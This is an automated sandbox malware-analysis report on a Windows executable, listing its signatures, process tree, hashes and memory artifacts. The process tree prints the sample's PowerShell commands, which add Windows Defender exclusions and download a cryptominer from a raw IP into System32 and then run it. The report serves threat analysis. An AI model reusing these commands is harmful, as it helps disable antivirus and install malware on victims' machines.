Analysis

  • max time kernel
    92s
  • max time network
    96s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11/06/2024, 03:40

General

  • Target
    f7c43a1b2e358cb34026af42c77985a0027d4582c6fdcd7c77f4f7b5d517b9fb.exe
  • Size 96KB
  • Sample240611-d8qlpssgpf
  • SHA256 f7c43a1b2e358cb34026af42c77985a0027d4582c6fdcd7c77f4f7b5d517b9fb
  • MD5 SHA1 SHA512 SSDEEP
Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\f7c43a1b2e358cb34026af42c77985a0027d4582c6fdcd7c77f4f7b5d517b9fb.exe
    "C:\Users\Admin\AppData\Local\Temp\f7c43a1b2e358cb34026af42c77985a0027d4582c6fdcd7c77f4f7b5d517b9fb.exe"
    1⤵
      PID:2812
    • C:\Windows\SysWOW64\DllHost.exe
      C:\Windows\SysWOW64\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:1232
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionExtension 'exe' -ExclusionPath 'C:\Windows\System32\'
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2856
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ProgressPreference = 'SilentlyContinue' ; Invoke-WebRequest "http://46.102.174.48/miner.exe" -OutFile 'C:\Windows\System32\msdr.exe'
        2⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4616
    • C:\Windows\SysWOW64\DllHost.exe
      C:\Windows\SysWOW64\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:1576
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" & 'C:\Windows\System32\msdr.exe'
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1772

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          powershell.exe.log

          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
          • Size 2KB
          • SHA256 92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a
          • MD5 SHA1 SHA512

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 18KB
          • SHA256 1b70fd64aca360f031c2e74f40e7ffd935e2ca86ee3e070ad1e6e0d66e5b54bf
          • MD5 SHA1 SHA512 SSDEEP

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 18KB
          • SHA256 677a8941e90cdd14e4f8c77ff1da18fc6b2fa4824154f7e0221319f4d395e047
          • MD5 SHA1 SHA512 SSDEEP

          __PSScriptPolicyTest_4w2kek3w.rua.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4w2kek3w.rua.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512

          memory/2856-40-0x0000000006C20000-0x0000000006C3E000-memory.dmp

          memory/2856-43-0x0000000006D90000-0x0000000006DAA000-memory.dmp

          memory/2856-7-0x0000000005440000-0x00000000054A6000-memory.dmp

          memory/2856-6-0x00000000053A0000-0x0000000005406000-memory.dmp

          memory/2856-5-0x0000000004AB0000-0x0000000004AD2000-memory.dmp

          memory/2856-17-0x00000000054B0000-0x0000000005804000-memory.dmp

          memory/2856-18-0x0000000005A60000-0x0000000005A7E000-memory.dmp

          memory/2856-19-0x0000000005AB0000-0x0000000005AFC000-memory.dmp

          memory/2856-29-0x0000000006030000-0x0000000006062000-memory.dmp

          memory/2856-30-0x00000000704C0000-0x000000007050C000-memory.dmp

          memory/2856-0-0x0000000073BDE000-0x0000000073BDF000-memory.dmp

          memory/2856-41-0x0000000006C50000-0x0000000006CF3000-memory.dmp

          memory/2856-42-0x00000000073D0000-0x0000000007A4A000-memory.dmp

          memory/2856-4-0x0000000073BD0000-0x0000000074380000-memory.dmp

          memory/2856-44-0x0000000006E00000-0x0000000006E0A000-memory.dmp

          memory/2856-45-0x0000000007010000-0x00000000070A6000-memory.dmp

          memory/2856-46-0x0000000006F90000-0x0000000006FA1000-memory.dmp

          memory/2856-47-0x0000000006FC0000-0x0000000006FCE000-memory.dmp

          memory/2856-48-0x0000000006FD0000-0x0000000006FE4000-memory.dmp

          memory/2856-49-0x00000000070D0000-0x00000000070EA000-memory.dmp

          memory/2856-50-0x00000000070B0000-0x00000000070B8000-memory.dmp

          memory/2856-53-0x0000000073BD0000-0x0000000074380000-memory.dmp

          memory/2856-3-0x0000000073BD0000-0x0000000074380000-memory.dmp

          memory/2856-2-0x0000000004B40000-0x0000000005168000-memory.dmp

          memory/2856-1-0x0000000004490000-0x00000000044C6000-memory.dmp